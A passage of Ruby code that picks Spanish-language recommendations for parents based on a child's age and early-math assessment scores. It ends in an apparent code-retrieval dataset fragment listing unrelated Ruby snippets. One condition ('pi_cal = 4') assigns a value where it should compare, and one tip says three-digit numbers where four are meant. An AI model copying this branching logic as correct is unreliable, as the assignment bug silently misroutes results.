* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución.
"
# 66 a 71
elsif @test.edad.between?(66, 71) && @test.pi_cal > 4 then
@h= "El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez dominado esto, hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.
"
elsif @test.edad.between?(66, 71) && @test.pi_cal.between?(3, 4) then
@h = "El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución.
* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.
"
elsif @test.edad.between?(66, 71) && @test.pi_cal < 3 then
@h = "El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Hacer que el niño cuente todos los objetos reales para sumar o restar. Por ejemplo, se le puede mostrar una colección de 3 carros y otra colección de 4 carros, y pedirle que las sume contando los carros para averiguar cuántos hay en total. También se le puede mostrar los 4 carros de una colección y pedirle que quite 1, y que después cuente para averiguar cuántos quedan. Poco a poco, y a medida que el niño vaya logrando algunos éxitos, se puede empezar a esconder uno de los conjuntos, y pedirle que haga la suma o la resta sin mirar ese conjunto.
* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución.
"
# 72 a 77
elsif @test.edad.between?(72, 77) && @test.pi_cal > 4 then
@h= "El/la estudiante ha adquirido las habilidades de cálculo informal por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.
"
elsif @test.edad.between?(72, 77) && @test.pi_cal = 4 then
@h = "El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.
"
elsif @test.edad.between?(72, 77) && @test.pi_cal < 4 then
@h = "El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución.
* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.
"
# 78 a83
elsif @test.edad.between?(78, 83) && @test.pi_cal > 3 then
@h= "El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.
"
elsif @test.edad.between?(78, 83) && @test.pi_cal < 4 then
@h = "El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución.
* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente.
"
# 84 a 101
elsif @test.edad.between?(84, 101) && @test.pi_cal > 3 then
@h= "El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Practicar sumas y restas mentales con cantidades mayores. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.
"
elsif @test.edad.between?(84, 101) && @test.pi_cal < 4 then
@h = "El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea del cálculo con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.
* Practicar sumas y restas mentales con diversas cantidades. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.
"
end
# Convencionalismos
# 60 a 71
if @test.edad.between?(60, 71) && @test.pf_conv > 1 then
@i= "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción.
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”.
"
elsif @test.edad.between?(60, 71) && @test.pf_conv < 2 then
@i = "El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición.
* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción.
"
# 72 a 77
elsif @test.edad.between?(72, 77) && @test.pf_conv > 4 then
@i= "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”.
* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92.
* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”.
* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros.
"
elsif @test.edad.between?(72, 77) && @test.pf_conv.between?(3, 4) then
@i = "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”.
"
elsif @test.edad.between?(72, 77) && @test.pf_conv < 3 then
@i = "El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición.
* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción.
"
# 78 a83
elsif @test.edad.between?(78, 83) && @test.pf_conv > 5 then
@i= "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”.
* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92.
* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”.
* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros.
"
elsif @test.edad.between?(78, 83) && @test.pf_conv.between?(4, 5) then
@i = "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”.
"
elsif @test.edad.between?(78, 83) && @test.pf_conv < 4 then
@i = "El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición.
* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción.
"
# 84 a 89
elsif @test.edad.between?(84, 89) && @test.pf_conv > 7 then
@i= "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”.
* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros.
* Una vez dominada la lectura y escritura de números con 3 dígitos, continuar con la lectura de números de 3 dígitos siguiente los métodos descritos anteriormente. Nuevamente el niño debe saber que la posición es crucial: los números que están a la derecha de todo son las unidades, los que indican las decenas están justo a su izquierda, los números que indican las centenas están a la izquierda de las decenas y, por último, los números que indican los millares son los que están más a la izquierda.
"
elsif @test.edad.between?(84, 89) && @test.pf_conv.between?(5, 7) then
@i = "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”.
* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92.
* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”.
* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros.
"
elsif @test.edad.between?(84, 89) && @test.pf_conv < 5 then
@i = "El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”.
"
# 90 a 101
elsif @test.edad.between?(90, 101) && @test.pf_conv > 5 then
@i= "El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”.
* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92.
* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”.
* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros.
"
elsif @test.edad.between?(90, 101) && @test.pf_conv < 6 then
@i = "El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”.
"
end
# Hechos Numéricos
# 60 a 89
if @test.edad.between?(60, 89) then
@j= "No se evalúa esta área para el rango de edad de su hijo/a."
# 90 a 101
elsif @test.edad.between?(90, 101) && @test.pf_hecho > 6 then
@j= "El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* En el caso de las restas como 10 - 3, la mejor técnica de solución es la estrategia de contar hacia atrás, es decir, comenzar en 10 y contar hacia atrás 3. También se le puede presentar al niño actividades para que capte la relación complementaria entre la suma y la resta. Esto puede encontrarse en la tabla de restar. Por ejemplo, si el niño mira la columna que muestra todos los números restados de 10, verá que los resultados van incrementándose en uno, consiguiendo al final la secuencia numérica:
o 10 - 10 = 0
o 10 - 9 = 1
o 10 - 8 = 2
o 10 - 7 = 3
o 10 - 6 = 4
o 10 - 5 = 5, y así sucesivamente.
* En el caso de las sumas como 8 + 5, la estrategia más común es seguir contando a partir del número mayor (8 + 5 son “ocho, nueve, diez… trece”) o el uso de varios trucos como llegar hasta 10 y después añadir lo que falta contando (“8 + 5 son trece, porque ocho y dos son diez, y después con los tres que quedan son trece”).
* En el caso de las multiplicaciones como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente.
* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0.
* En el caso de las multiplicaciones como 3 x 2, el niño puede descubrir el patrón: 3 x 2 es lo mismo que 3 + 3. Puede aprender que “multiplicar por dos” es lo mismo que sumar el mismo número dos veces o calcular el doble. Esta regla se aplica a todos los números.
"
elsif @test.edad.between?(90, 101) && @test.pf_hecho.between?(4, 6) then
@j = "El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando.
* En el caso de las multiplicaciones, como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente.
* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0.
* En el caso de las restas del tipo 2N - N, el patrón lleva a la conclusión de que la respuesta es la misma que el número que has quitado. Esta regla, después, se aplica a muchos números: aquellos en que la cantidad que se quita (el sustraendo) es la mitad de la cantidad de partida (minuendo), por ejemplo 6 - 3, 10 - 5, etc. También se le puede enseñar un juego con material concreto, utilizando objetos y una bolsa de plástico. Así, se introduce un número par de objetos en una bolsa, que previamente se ha dividido en dos partes (con una cinta adhesiva de un color, por ejemplo). Al niño se le muestra que el total se forma sumando las dos partes iguales. Además, se puede insistir en la relación inversa: si al total le quitamos una de las partes, nos queda la otra. También se le puede plantear ejercicios del tipo:
o 2 - 1 = 1
o 4 - 2 = 2
o 6 - 3 = 3
o 8 - 4 = 4
o ¿Cuál es el siguiente?
"
elsif @test.edad.between?(90, 101) && @test.pf_hecho < 4 then
@j = "El/la estudiante se encuentra en proceso de adquirir las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Enseñar al niño que en hechos numéricos como 2 - 2 (dos menos dos), se puede observar que si se resta un número de sí mismo el resultado es “cero”. El patrón es fácil y esta regla se aplica a todos los números.
* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando.
"
end
# Cálculo FORMAL
# 60 a 89
if @test.edad.between?(60, 89) then
@k= "No se evalúa esta área para el rango de edad de su hijo/a."
# 90 a 95
elsif @test.edad.between?(90, 95) && @test.pi_comp > 5 then
@k= "El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.
* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar.
* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.
"
elsif @test.edad.between?(90, 95) && @test.pi_comp.between?(2, 5) then
@k = "El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.
* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.
* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.
* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.
"
elsif @test.edad.between?(90, 95) && @test.pi_comp < 2 then
@k = "El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.
* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.
* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.
"
# 96 a 101
elsif @test.edad.between?(96, 101) && @test.pi_comp > 7 then
@k= "El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.
Algunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:
* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.
* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar.
* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.
"
elsif @test.edad.between?(96, 101) && @test.pi_comp.between?(5, 7) then
@k = "El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.
Algunas recomendaciones para mejorar lo aprendido:
* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.
* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.
* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.
* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.
"
elsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then
@k = "El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.
Algunas recomendaciones para apoyar al estudiante:
* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.
* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.
* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.
"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def get_one\n test_data = @test.get_one\n return render json: test_data\n end",
"def index\n render status: :ok, json: @tests\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def show\n @test = Test.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def listing\n tests = Test.where( user_id: test_params[:user_id] )\n all = TestSerializer.new.all_test(tests)\n return render json: all.as_json\n end",
